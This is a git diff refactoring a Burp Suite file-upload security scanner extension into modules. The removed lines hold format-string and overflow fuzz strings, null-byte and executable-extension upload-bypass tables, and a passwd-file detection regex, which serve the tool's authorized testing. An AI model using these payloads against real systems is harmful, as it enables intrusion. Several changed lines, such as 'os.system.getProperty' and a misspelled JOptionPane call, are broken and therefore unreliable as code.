diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..49c6b1d --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.vscode +.jython_chache/ +*$py.class \ No newline at end of file diff --git a/.idea/.gitignore b/.idea/.gitignore new file mode 100644 index 0000000..26d3352 --- /dev/null +++ b/.idea/.gitignore @@ -0,0 +1,3 @@ +# Default ignored files +/shelf/ +/workspace.xml diff --git a/.idea/UpdatedBurpUploadScanner.iml b/.idea/UpdatedBurpUploadScanner.iml new file mode 100644 index 0000000..30f2127 --- /dev/null +++ b/.idea/UpdatedBurpUploadScanner.iml @@ -0,0 +1,14 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/.idea/inspectionProfiles/profiles_settings.xml b/.idea/inspectionProfiles/profiles_settings.xml new file mode 100644 index 0000000..105ce2d --- /dev/null +++ b/.idea/inspectionProfiles/profiles_settings.xml @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml new file mode 100644 index 0000000..214c8a0 --- /dev/null +++ b/.idea/misc.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml new file mode 100644 index 0000000..373ce13 --- /dev/null +++ b/.idea/modules.xml @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml new file mode 100644 index 0000000..35eb1dd --- /dev/null +++ b/.idea/vcs.xml @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/.jython_cache/packages/jython.pkc b/.jython_cache/packages/jython.pkc new file mode 100644 index 0000000..8acbd36 Binary files /dev/null and b/.jython_cache/packages/jython.pkc differ diff --git a/.jython_cache/packages/packages.idx b/.jython_cache/packages/packages.idx new file mode 100644 index 0000000..1dd33d9 Binary files /dev/null and b/.jython_cache/packages/packages.idx differ diff --git a/UploadScanner.py b/UploadScanner.py index 132ebce..7b2b451 100755 --- a/UploadScanner.py +++ b/UploadScanner.py @@ -1,118 +1,57 @@ -#!/usr/bin/python -# -*- coding: utf-8 -*- -""" - Upload Scanner extension for the Burp Suite Proxy - Adds various security checks that can be used for - web applications that allow file upload - Copyright (C) 2017 floyd - -Created on Feb 24, 2017 -@author: floyd, http://floyd.ch, @floyd_ch, modzero AG, https://www.modzero.ch, @mod0 -""" - -# Developed when using Firefox, but short tests showed it works fine with IE, Chrome and Edge -# Tested on OSX primarily, but worked fine on Windows (including tests with exiftool.exe) - -# Rules for unicode support in this extension: when Java APIs are used, everything is converted straight away to str -# with FloydsHelpers.u2s, str works best for me as "bytes" in python2. If we get byte[] from Java, we use the -# FloydsHelpers.jb2ps helper. Take care when we get back more complex objects from Java, make sure attributes of -# those objects are encoded with these two methods before usage. +# python stdlib imports +import os # local paths parsing etc. +import pickle # persisting object serialization between extension reloads +import random # to chose randomly +import string # ascii letters to chose random file name from +import sys # to show detailed exception traces +import textwrap # to wrap request texts after a certain amount of chars +import threading # to make stuff thread safe +import traceback # to show detailed exception traces +import urllib # URL encode etc. -# Burp imports from burp import IBurpExtender -from burp import IScannerInsertionPoint -from burp import IScannerCheck -from burp import IScanIssue -from burp import IHttpRequestResponse -from burp import IHttpListener -from burp import ITab -from burp import IMessageEditorController -from burp import IScannerInsertionPointProvider -from burp import IHttpService from burp import IContextMenuFactory from burp import IExtensionStateListener -# Java stdlib imports +from burp import IHttpListener +from burp import IScannerCheck +from burp import IScannerInsertionPoint +from burp import IScannerInsertionPointProvider +from burp import ITab + +from java.awt import Desktop +from java.net import URI from java.util import ArrayList -from javax.swing import JLabel -from javax.swing import JScrollPane -from javax.swing import JButton -from javax.swing import JSplitPane -from javax.swing import JTextField -from javax.swing import JTabbedPane -from javax.swing import JTable -from javax.swing import JPanel -from javax.swing import JTextPane -from javax.swing import JFileChooser -from javax.swing import JCheckBox -from javax.swing import JOptionPane -from javax.swing import JMenuItem -from javax.swing import AbstractAction -from javax.swing import BorderFactory +from javax.swing import JTabbedPane, JScrollPane, JLabel, JSplitPane, JMenuItem, JOptionPane from javax.swing import SwingConstants from javax.swing.table import AbstractTableModel -from javax.swing.event import DocumentListener -from java.awt import Font -from java.awt import Color -from java.awt import Insets -from java.awt import GridBagLayout -from java.awt import GridBagConstraints -from java.awt import Image -from java.awt import Desktop -from java.awt import Dimension -from java.awt import RenderingHints -from java.awt.event import ActionListener -from java.awt.image import BufferedImage -from java.io import ByteArrayOutputStream -from java.io import ByteArrayInputStream -from javax.imageio import ImageIO -from java.net import URI -from java.net import URL -from java.nio.file import Files -from java.lang import Thread -from java.lang import IllegalStateException -from java.lang import System -# python stdlib imports -from io import BytesIO # to mimic file IO but do it in-memory -import tempfile # to make temporary files for exiftool to process -import subprocess # to call exiftool -import re # to check if exiftool name only consist of alphanum.- and to detect passwd files in downloads -import random # to chose randomly -import string # ascii letters to chose random file name from -import urllib # URL encode etc. -import time # detect timeouts and sleep for Threads -import os # local paths parsing etc. -import stat # To make exiftool executable executable -import copy # copying str/lists if a duplicate is necessary -import struct # Little/Big endian attack strings -import imghdr # Detecting mime types -import mimetypes # Detecting mime types -import cgi # for HTML escaping -import urlparse # urlparser for custom HTTP services -import zipfile # to create evil zip files in memory -import sys # to show detailed exception traces -import traceback # to show detailed exception traces -import textwrap # to wrap request texts after a certain amount of chars -import binascii # for the fingerping module -import zlib # for the fingerping module -import itertools # for the fingerping module -import threading # to make stuff thread safe -import pickle # persisting object serialization between extension reloads -import ast # to parse ${PYTHONSTR:'abc\ndef'} into a python str -from jarray import array # to go from python list to Java array -# Developer debug mode -global DEBUG_MODE -DEBUG_MODE = False +from checks.checks import Checks +from debuging.debug import DEBUG_MODE +from helpers.FloydsHelpers import FloydsHelpers +from injectors.FlexiInjector import FlexiInjector +from injectors.MultipartInjector import MultipartInjector +from insertionPoints.InsertionPointProviderForActiveScan import InsertionPointProviderForActiveScan +from misc.Constants import Constants +from misc.CustomHttpService import CustomHttpService +from misc.CustomRequestResponse import CustomRequestResponse +from misc.Downloader import DownloadMatcherCollection +from misc.Misc import CloseableTab +from misc.Misc import MenuItemAction +from misc.Misc import Readme +from misc.ScanController import ScanController +from ui.LogEntry import LogEntry +from ui.OptionsPanel import OptionsPanel +from ui.Table import Table if DEBUG_MODE: # Hint: Module "gc" garbage collector is not fully implemented in Jython as it uses the Java garbage collector # see https://answers.launchpad.net/sikuli/+question/160893 - import profile # For profiling to fix performance problems - import pdb # For debugging + pass # Use this to do debugging on command line: # if DEBUG_MODE: # pdb.set_trace() + # Glossary to read this code # brr: abbrevation for BaseRequestRespnse, it's of class IHttpRequestResponse # urr: abbrevation UploadRequestsResponses, see class UploadRequestsResponses, @@ -121,41 +60,13 @@ # these are cut down in the function get_types, eg. when we detect that the content # type is not sent at all in the request - class BurpExtender(IBurpExtender, IScannerCheck, AbstractTableModel, ITab, IScannerInsertionPointProvider, IHttpListener, IContextMenuFactory, IExtensionStateListener): - # Internal constants/read-only: - DOWNLOAD_ME = "Dwld" - MARKER_URL_CONTENT = "A_FILENAME_PLACEHOLDER_FOR_THE_DESCRIPTION_NeVeR_OcCuRs_iN_ReAl_WoRlD_DaTa" - MARKER_ORIG_EXT = 'ORIG_EXT' - MARKER_COLLAB_URL = "http://example.org/" - MARKER_CACHE_DEFEAT_URL = "https://example.org/cachedefeat/" - NEWLINE = "\r\n" - REGEX_PASSWD = re.compile("[^:]{3,20}:[^:]{1,100}:\d{0,20}:\d{0,20}:[^:]{0,100}:[^:]{0,100}:[^:]*$") - # TODO: If we just add \\ the extension uploads *a lot more* files... worth doing? - PROTOCOLS_HTTP = ( - # 'ftp://', - # 'smtp://', - # 'mailto://', - # The following is \\ for Windows servers... - # '\\\\', - 'http://', - 'https://', - ) - MAX_SERIALIZED_DOWNLOAD_MATCHERS = 500 - MAX_RESPONSE_SIZE = 300000 # 300kb - - # ReDownloader constants/read-only: - REDL_URL_BAD_HEADERS = ("content-length:", "accept:", "content-type:", "referer:") - REDL_FILENAME_MARKER = "${FILENAME}" - PYTHON_STR_MARKER_START = "${PYTHONSTR:" - PYTHON_STR_MARKER_END = "}" - # Implement IBurpExtender def registerExtenderCallbacks(self, callbacks): - print "Extension loaded" + print("Extension loaded") self._callbacks = callbacks self._helpers = callbacks.getHelpers() @@ -166,358 +77,32 @@ def registerExtenderCallbacks(self, callbacks): callbacks.setExtensionName("Upload Scanner") - # A lock to make things thread safe that access extension level globals - # Attention: use wisely! On MacOS it seems to be fine that a thread has the lock - # and acquires it again, that's fine. However, on Windows acquiring the same lock - # in the same thread twice will result in a thread lock and everything will halt! - self.globals_write_lock = threading.Lock() - # only set here at the beginning once, then constant - self.FILE_START = ''.join(random.sample(string.ascii_letters, 4)) + Constants.FILE_START = ''.join(random.sample(string.ascii_letters, 4)) # Internal vars/read-write: self._log = ArrayList() # The functions of DownloadMatcherCollection are thread safe self.dl_matchers = DownloadMatcherCollection(self._helpers) - # TODO Burp API limitation: IBurpCollaboratorClientContext persistence - # Find out if CollaboratorMonitorThread is already running. - # Although this works and we can find our not-killed Thread, it will not have the - # functions of CollaboratorMonitorThread, so for example the "add" function - # isn't there anymore. - # for thread in Thread.getAllStackTraces().keySet(): - # print thread.getName() - # if thread.name == CollaboratorMonitorThread.NAME: - # print "Found running CollaboratorMonitorThread, reusing" - # self.collab_monitor_thread = thread - # self.collab_monitor_thread.resume(self) - # break - # else: - # # No break occured on the for loop - # # Create a new thread - # print "No CollaboratorMonitorThread found, starting a new one" - # self.collab_monitor_thread = CollaboratorMonitorThread(self) - # self.collab_monitor_thread.start() - - self.collab_monitor_thread = CollaboratorMonitorThread(self) - self.collab_monitor_thread.start() + # A lock to make things thread safe that access extension level globals + # Attention: use wisely! On MacOS it seems to be fine that a thread has the lock + # and acquires it again, that's fine. However, on Windows acquiring the same lock + # in the same thread twice will result in a thread lock and everything will halt! + self.globals_write_lock = threading.Lock() self._warned_flexiinjector = False self._no_of_errors = 0 self._ui_tab_index = 1 self._option_panels = {} - # Internal vars fuzzer (read only) - self.KNOWN_FUZZ_STRINGS = [ - "A" * 256, - "A" * 1024, - "A" * 4096, - "A" * 20000, - "A" * 65535, - "%x" * 256, - "%n" * 256, - "%s" * 256, - "%s%n%x%d" * 256, - "%s" * 256, - "%.1024d", - "%.2048d", - "%.4096d", - "%.8200d", - "%99999999999s", - "%99999999999d", - "%99999999999x", - "%99999999999n", - "%99999999999s" * 200, - "%99999999999d" * 200, - "%99999999999x" * 200, - "%99999999999n" * 200, - "%08x" * 100, - "%%20s" * 200, - "%%20x" * 200, - "%%20n" * 200, - "%%20d" * 200, - "%#0123456x%08x%x%s%p%n%d%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%#0123456x%%x%%s%%p%%n%%d%%o%%u%%c%%h%%l%%q%%j%%z%%Z%%t%%i%%e%%g%%f%%a%%C%%S%%08x", - "'", - "\\", - "<", - "+", - "%", - "$", - "`" - ] - - # End internal vars - - # The "*_types" variables define which prefix, file extension - # and mime type is sent for the tests: - # prefix, file extension, mime type - # empty prefix = don't use prefix in front of filename - # empty file extension = don't use/cut the filename's file extension - # file extension == self._magick_original_extension, don't change whatever was there - # empty mime type = use default mime type found in the original base request - - # The different extensions can vary in several ways: - # - the original extension the file had that was uploaded in the base request, self._marker_orig_ext, eg. .png - # - the payload extension, for example if we upload php code it would be .php - # - the real file extension, for example .gif if we produced a gif file that has php code in the comment - - # TODO feature: Go through all TYPES and decide if .ORIG%00.EVIL makes sense as well as .EVIL%00.ORIG - # TODO feature: Additionally: maybe randomize casing, eg. .PdF? - # TODO feature: Reasoning about what _TYPES we should use. Make a big table that show what combinations we - # can send and which checks on the server side could be present. For each combination, note if the upload - # would succeed. Then rate the server side checks for likelihood to be implemented on a server (biased). In - # a next step, take real world samples and check manually to confirm rough likelihood... There are so many - # factors: - # CT whitelist (often in place) - # EXT whitelist (often in place but surprisingly often not as well...) - # CONTENT whitelist (eg. is it a PNG?) - # CONTENT transformation (convert PNG to PNG with software X) - # Checks CT matches EXT -> I get the impression this is rarely done - # Checks CT matches CONTENT -> I get the impression this is rarely done - # Checks EXT matches CONTENT - # etc. - - # The following var is a special case when we detect that the request doesn't include - # the filename or content-type (e.g. Vimeo image avatar upload), so we don't do 30 - # identical requests with the exact same content. See the get_types function. - self.NO_TYPES = {'', '', ''} - - # ImageTragick types - self.IM_SVG_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '', 'image/png'), - ('', '.svg', 'image/svg+xml'), - # ('', '.svg', 'text/xml'), - ('', '.png', 'image/png'), - # ('', '.jpeg', 'image/jpeg') - } - - # Interesting fact: image/jpeg is not the only jpeg mime type sent by browsers:: - # image/pjpeg - # image/x-citrix-pjpeg - # And also: - # image/x-citrix-gif - - self.IM_MVG_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '', 'image/png'), - ('', '.mvg', ''), - ('', '.mvg', 'image/svg+xml'), - ('', '.png', 'image/png'), - # ('', '.jpeg', 'image/jpeg'), - ('mvg:', '.mvg', ''), - # ('mvg:', '.mvg', 'image/svg+xml'), - } - - # Xbm black/white pictures - self.XBM_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.xbm', ''), - ('', '.xbm', 'image/x-xbm'), - ('', '.xbm', 'image/png'), - ('xbm:', BurpExtender.MARKER_ORIG_EXT, ''), - } - - # Ghostscript types - self.GS_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.gs', ''), - ('', '.eps', ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'text/plain'), - ('', '.jpeg', 'image/jpeg'), - ('', '.png', 'image/png'), - } - - # LibAvFormat types - self.AV_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'audio/mpegurl'), - ('', BurpExtender.MARKER_ORIG_EXT, 'video/x-msvideo'), - # ('', '.m3u8', 'application/vnd.apple.mpegurl'), - ('', '.m3u8', 'application/mpegurl'), - # ('', '.m3u8', 'application/x-mpegurl'), - ('', '.m3u8', 'audio/mpegurl'), - # ('', '.m3u8', 'audio/x-mpegurl'), - ('', '.avi', 'video/x-msvideo'), - ('', '.avi', ''), - } - - self.EICAR_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.exe', ''), - ('', '.exe', 'application/x-msdownload'), - # ('', '.exe', 'application/octet-stream'), - # ('', '.exe', 'application/exe'), - # ('', '.exe', 'application/x-exe'), - # ('', '.exe', 'application/dos-exe'), - # ('', '.exe', 'application/msdos-windows'), - # ('', '.exe', 'application/x-msdos-program'), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'application/x-msdownload'), - # ('', self._magick_original_extension, 'application/octet-stream'), - # ('', self._magick_original_extension, 'application/exe'), - # ('', self._magick_original_extension, 'application/x-exe'), - # ('', self._magick_original_extension, 'application/dos-exe'), - # ('', self._magick_original_extension, 'application/msdos-windows'), - # ('', self._magick_original_extension, 'application/x-msdos-program'), - } - - self.PL_TYPES = { - #('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'text/x-perl-script'), - ('', '.pl', ''), - ('', '.pl', 'text/x-perl-script'), - ('', '.cgi', ''), - #('', '.cgi', 'text/x-perl-script'), - } - - self.PY_TYPES = { - #('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'text/x-python-script'), - ('', '.py', ''), - ('', '.py', 'text/x-python-script'), - ('', '.cgi', '') - } - - self.RB_TYPES = { - #('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'text/x-ruby-script'), - ('', '.rb', ''), - ('', '.rb', 'text/x-ruby-script'), - } - - # .htaccess types - self.HTACCESS_TYPES = { - ('', '', ''), - ('', '%00' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '\x00' + BurpExtender.MARKER_ORIG_EXT, ''), - ('', '', 'text/plain'), - ('', '%00' + BurpExtender.MARKER_ORIG_EXT, 'text/plain'), - ('', '\x00' + BurpExtender.MARKER_ORIG_EXT, 'text/plain'), - } - - self.PDF_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'application/pdf'), - ('', '.pdf', ''), - ('', '.pdf', 'application/pdf'), - } - - self.URL_TYPES = { - #('', BurpExtender.MARKER_ORIG_EXT, ''), - #('', BurpExtender.MARKER_ORIG_EXT, 'application/octet-stream'), - ('', '.URL', ''), - #('', '.URL', 'application/octet-stream'), - } - - self.INI_TYPES = { - #('', BurpExtender.MARKER_ORIG_EXT, ''), - #('', BurpExtender.MARKER_ORIG_EXT, 'application/octet-stream'), - ('', '.ini', ''), - #('', '.URL', 'application/octet-stream'), - } - - self.ZIP_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'application/zip'), - ('', '.zip', ''), - ('', '.zip', 'application/zip'), - } - - self.CSV_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.csv', ''), - ('', '.csv', 'text/csv'), - # ('', self._marker_orig_ext, ''), - # ('', self._marker_orig_ext, 'text/csv'), - } - - self.EXCEL_TYPES = { - # ('', '', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.xls', ''), - ('', '.xls', 'application/vnd.ms-excel'), - # ('', BurpExtender.MARKER_ORIG_EXT, ''), - # ('', BurpExtender.MARKER_ORIG_EXT, 'text/application/vnd.ms-excel'), - } - - self.IQY_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.iqy', ''), - ('', '.iqy', 'application/vnd.ms-excel'), - } - - # Server Side Include types - # See also what file extensions the .htaccess module would enable! - # It is unlikely that a server accepts content type text/html... - self.SSI_TYPES = { - #('', '.shtml', 'text/plain'), - ('', '.shtml', 'text/html'), - #('', '.stm', 'text/html'), - #('', '.shtm', 'text/html'), - #('', '.html', 'text/html'), - #('', BurpExtender.MARKER_ORIG_EXT, 'text/html'), - ('', '.shtml', ''), - ('', '.stm', ''), - ('', '.shtm', ''), - ('', '.html', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - } - - self.ESI_TYPES = { - ('', '.txt', 'text/plain'), - #('', '.txt', ''), - ('', BurpExtender.MARKER_ORIG_EXT, ''), - } - - self.SVG_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), # Server doesn't check file contents - ('', '.svg', 'image/svg+xml'), # Server enforces matching of file ext and content type - ('', '.svg', ''), # Server doesn't check file ext - ('', BurpExtender.MARKER_ORIG_EXT, 'image/svg+xml'), # Server doesn't check content-type - } - - self.XML_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.xml', 'application/xml'), - ('', '.xml', 'text/xml'), - #('', '.xml', 'text/plain'), - ('', '.xml', ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'text/xml'), - } - - self.SWF_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.swf', 'application/x-shockwave-flash'), - ('', '.swf', ''), - ('', BurpExtender.MARKER_ORIG_EXT, 'application/x-shockwave-flash'), - } - - self.HTML_TYPES = { - ('', BurpExtender.MARKER_ORIG_EXT, ''), - ('', '.htm', ''), - ('', '.html', ''), - ('', '.htm', 'text/html'), - #('', '.html', 'text/html'), - ('', '.html', 'text/plain'), - ('', '.xhtml', ''), - #('', BurpExtender.MARKER_ORIG_EXT, 'text/html'), - } - - print "Creating UI..." + print("Creating UI...") self._create_ui() with self.globals_write_lock: - print "Deserializing settings..." + print("Deserializing settings...") self.deserialize_settings() - # It is important these registrations are done at the end, so the global_lock is freed. # Otherwise when still deserializing and using the context menu at the same time there # has been a global Burp thread-lock where I had to force quit Burp :( @@ -533,7 +118,9 @@ def registerExtenderCallbacks(self, callbacks): # Get notified when extension is unloaded callbacks.registerExtensionStateListener(self) - print "Extension fully registered and ready" + self.checks = Checks(self) + + print("Extension fully registered and ready") def _create_ui(self): @@ -556,17 +143,18 @@ def _create_ui(self): self._splitpane.setRightComponent(tabs) # OPTIONS - self._global_opts = OptionsPanel(self, self._callbacks, self._helpers, global_options=True) + self._globalOptionsPanel = OptionsPanel(self, self._callbacks, self._helpers, global_options=True) # README self._aboutJLabel = JLabel(Readme.get_readme(), SwingConstants.CENTER) - + self._aboutJLabel.putClientProperty("html.disable", None) + self._callbacks.customizeUiComponent(self._main_jtabedpane) self._callbacks.customizeUiComponent(self._splitpane) - self._callbacks.customizeUiComponent(self._global_opts) + self._callbacks.customizeUiComponent(self._globalOptionsPanel) self._callbacks.customizeUiComponent(self._aboutJLabel) - self._main_jtabedpane.addTab("Global & Active Scanning configuration", None, JScrollPane(self._global_opts), None) + self._main_jtabedpane.addTab("Global & Active Scanning configuration", None, JScrollPane(self._globalOptionsPanel), None) self._main_jtabedpane.addTab("Done uploads", None, self._splitpane, None) self._main_jtabedpane.addTab("About", None, JScrollPane(self._aboutJLabel), None) @@ -576,11 +164,11 @@ def _create_ui(self): # Implement IExtensionStateListener def extensionUnloaded(self): - self.collab_monitor_thread.extensionUnloaded() + self.checks.extensionUnloaded() for index in self._option_panels: self._option_panels[index].stop_scan(None) self.serialize_settings() - print "Extension unloaded" + print("Extension unloaded") def serialize_settings(self): self.save_project_setting("UploadScanner_dl_matchers", "") @@ -588,8 +176,8 @@ def serialize_settings(self): #self.save_project_setting("UploadScanner_collab_monitor", None) self.save_project_setting("UploadScanner_tabs", "") self._callbacks.saveExtensionSetting('UploadScanner_global_opts', "") - if not self._global_opts.cb_delete_settings.isSelected(): - self._callbacks.saveExtensionSetting('UploadScanner_global_opts', pickle.dumps(self._global_opts.serialize()).encode("base64")) + if not self._globalOptionsPanel.cb_delete_settings.isSelected(): + self._callbacks.saveExtensionSetting('UploadScanner_global_opts', pickle.dumps(self._globalOptionsPanel.serialize()).encode("base64")) self.save_project_setting('UploadScanner_dl_matchers', pickle.dumps(self.dl_matchers.serialize()).encode("base64")) # TODO Burp API limitation: IBurpCollaboratorClientContext persistence @@ -599,9 +187,9 @@ def serialize_settings(self): self.save_project_setting('UploadScanner_tabs', pickle.dumps([self._option_panels[x].serialize() for x in self._option_panels]).encode("base64")) - print "Saved settings..." + print("Saved settings...") else: - print "Deleted all settings..." + print("Deleted all settings...") def deserialize_settings(self): try: @@ -635,12 +223,12 @@ def deserialize_settings(self): if k: cm = pickle.loads(k.decode("base64")) if cm: - self._global_opts.deserialize(cm) - print "Restored settings..." + self._globalOptionsPanel.deserialize(cm) + print("Restored settings...") except: e = traceback.format_exc() - print "An error occured when deserializing settings. We just ignore the serialized data therefore." - print e + print("An error occured when deserializing settings. We just ignore the serialized data therefore.") + print(e) try: self.save_project_setting("UploadScanner_dl_matchers", "") @@ -649,8 +237,8 @@ def deserialize_settings(self): self.save_project_setting("UploadScanner_tabs", "") except: e = traceback.format_exc() - print "An error occured when storing empty serialize data We just ignore it for now." - print e + print("An error occured when storing empty serialize data We just ignore it for now.") + print(e) def save_project_setting(self, name, value): request = "GET /"+name+" HTTP/1.0\r\n\r\n" \ @@ -669,7 +257,6 @@ def save_project_setting(self, name, value): rr = CustomRequestResponse(name, '', CustomHttpService('http://uploadscannerextension.local/'), request, response) self._callbacks.addToSiteMap(rr) - def load_project_setting(self, name): rrs = self._callbacks.getSiteMap('http://uploadscannerextension.local/'+name) if rrs: @@ -681,7 +268,6 @@ def load_project_setting(self, name): else: return None - # Implement IContextMenuFactory def createMenuItems(self, invocation): #IContextMenuInvocation action = MenuItemAction(invocation, self) @@ -695,7 +281,7 @@ def new_request_response(self, invocation): # We can only work with requests that also have a response: if not brr.getRequest() or not brr.getResponse(): - print "Tried to send a request where no response came back via context menu to the UploadScanner. Ignoring." + print("Tried to send a request where no response came back via context menu to the UploadScanner. Ignoring.") else: with self.globals_write_lock: # right part @@ -704,7 +290,7 @@ def new_request_response(self, invocation): # add a reference to the ScanController to the options options = OptionsPanel(self, self._callbacks, self._helpers, scan_controler=sc) # Take all settings from global options: - options.deserialize(self._global_opts.serialize(), global_to_tab=True) + options.deserialize(self._globalOptionsPanel.serialize(), global_to_tab=True) self.create_tab(options, sc) def create_tab(self, options, sc): @@ -733,7 +319,7 @@ def tab_closed(self, index): should_close = True if should_close: with self.globals_write_lock: - print "Closing tab", index + print("Closing tab", index) del self._option_panels[index] return should_close @@ -754,7 +340,7 @@ def show_error_popup(self, error_details, location, brr): "you have to start Burp with a larger -Xmx argument. Other strategies might be starting a new " \ "Burp project, loading less extensions or processing less requests in general. Press 'OK' to " \ "unload the UploadScanner extension." - response = JOptshow_error_popuionPane.showConfirmDialog(self._global_opts, full_msg, "Out of memory", + response = JOptshow_error_popuionPane.showConfirmDialog(self._globalOptionsPanel, full_msg, "Out of memory", JOptionPane.OK_CANCEL_OPTION) if response == JOptionPane.OK_OPTION: self._callbacks.unloadExtension() @@ -767,18 +353,18 @@ def show_error_popup(self, error_details, location, brr): break error_details += "\nExtension code location: " + location except: - print "Could not find plugin version..." + print("Could not find plugin version...") try: error_details += "\nJython version: " + sys.version - error_details += "\nJava version: " + System.getProperty("java.version") + error_details += "\nJava version: " + os.system.getProperty("java.version") except: - print "Could not find Jython/Java version..." + print("Could not find Jython/Java version...") try: error_details += "\nBurp version: " + " ".join([x for x in self._callbacks.getBurpVersion()]) error_details += "\nCommand line arguments: " + " ".join([x for x in self._callbacks.getCommandLineArguments()]) error_details += "\nWas loaded from BApp: " + str(self._callbacks.isExtensionBapp()) except: - print "Could not find Burp details..." + print("Could not find Burp details...") self._no_of_errors += 1 if self._no_of_errors < 2: full_msg = 'The Burp extension "Upload Scanner" just crashed. The details of the issue are at the bottom. \n' \ @@ -788,7 +374,7 @@ def show_error_popup(self, error_details, location, brr): 'be appreciated. The details of the error below can also be found in the "Extender" tab.\n' \ 'Do you want to open a github issue with the details below now? \n' \ 'Details: \n{}\n'.format(FloydsHelpers.u2s(error_details)) - response = JOptionPane.showConfirmDialog(self._global_opts, full_msg, full_msg, + response = JOptionPane.showConfirmDialog(self._globalOptionsPanel, full_msg, full_msg, JOptionPane.YES_NO_OPTION) if response == JOptionPane.YES_OPTION: # Ask if it would also be OK to send the request @@ -797,12 +383,12 @@ def show_error_popup(self, error_details, location, brr): "along with the bug report, as otherwise a root cause analysis is likely not possible. \n" \ "You can also find this request in the Extender tab in the UploadScanner Output tab. \n\n" request_content = textwrap.fill(repr(FloydsHelpers.jb2ps(brr.getRequest())), 100) - print request_content + print(request_content) if len(request_content) > 1000: request_content = request_content[:1000] + "..." request_msg += request_content - response = JOptionPane.showConfirmDialog(self._global_opts, request_msg, request_msg, + response = JOptionPane.showConfirmDialog(self._globalOptionsPanel, request_msg, request_msg, JOptionPane.YES_NO_OPTION) if response == JOptionPane.YES_OPTION: error_details += "\nRequest: " + request_content @@ -822,7 +408,7 @@ def show_error_popup(self, error_details, location, brr): def show_tab_close_popup(self): full_msg = 'Scan still running. Burp Collaborator interactions might get lost. Are you sure you want to close the tab? \n' - response = JOptionPane.showConfirmDialog(self._global_opts, full_msg, full_msg, JOptionPane.YES_NO_OPTION) + response = JOptionPane.showConfirmDialog(self._globalOptionsPanel, full_msg, full_msg, JOptionPane.YES_NO_OPTION) if response == JOptionPane.YES_OPTION: return True else: @@ -870,17 +456,17 @@ def processHttpMessage(self, _, messageIsRequest, base_request_response): if not messageIsRequest: resp = base_request_response.getResponse() if not resp: - print "processHttpMessage called with BaseRequestResponse with no response. Ignoring." + print("processHttpMessage called with BaseRequestResponse with no response. Ignoring.") return - if len(resp) >= BurpExtender.MAX_RESPONSE_SIZE: + if len(resp) >= Constants.MAX_RESPONSE_SIZE: # Don't look at responses longer than MAX_RESPONSE_SIZE return req = base_request_response.getRequest() if not req: - print "processHttpMessage called with BaseRequestResponse with no request. Ignoring." + print("processHttpMessage called with BaseRequestResponse with no request. Ignoring.") return iRequestInfo = self._helpers.analyzeRequest(base_request_response) - #print type(iRequestInfo.getUrl().toString()), repr(iRequestInfo.getUrl().toString()) + #print(type(iRequestInfo.getUrl().toString()), repr(iRequestInfo.getUrl().toString())) url = iRequestInfo.getUrl() if url: url = FloydsHelpers.u2s(url.toString()) @@ -906,18 +492,18 @@ def processHttpMessage(self, _, messageIsRequest, base_request_response): for matcher in list(matchers)[::-1]: if matcher.matches(url, headers, body): issue_copy = matcher.issue.create_copy() - if BurpExtender.MARKER_URL_CONTENT in issue_copy.detail: + if Constants.MARKER_URL_CONTENT in issue_copy.detail: if matcher.url_content: - issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT, + issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT, matcher.url_content) elif matcher.filename_content_disposition: - issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT, + issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT, matcher.filename_content_disposition) elif matcher.filecontent: - issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT, + issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT, matcher.filecontent) else: - issue_copy.detail = issue_copy.detail.replace(BurpExtender.MARKER_URL_CONTENT, + issue_copy.detail = issue_copy.detail.replace(Constants.MARKER_URL_CONTENT, "UNKNOWN") if matcher.check_xss: content_disposition = False @@ -965,8 +551,8 @@ def _create_download_scan_issue(self, base_request_response, issue): self._add_scan_issue(issue) def _add_scan_issue(self, issue): - print "Reporting", 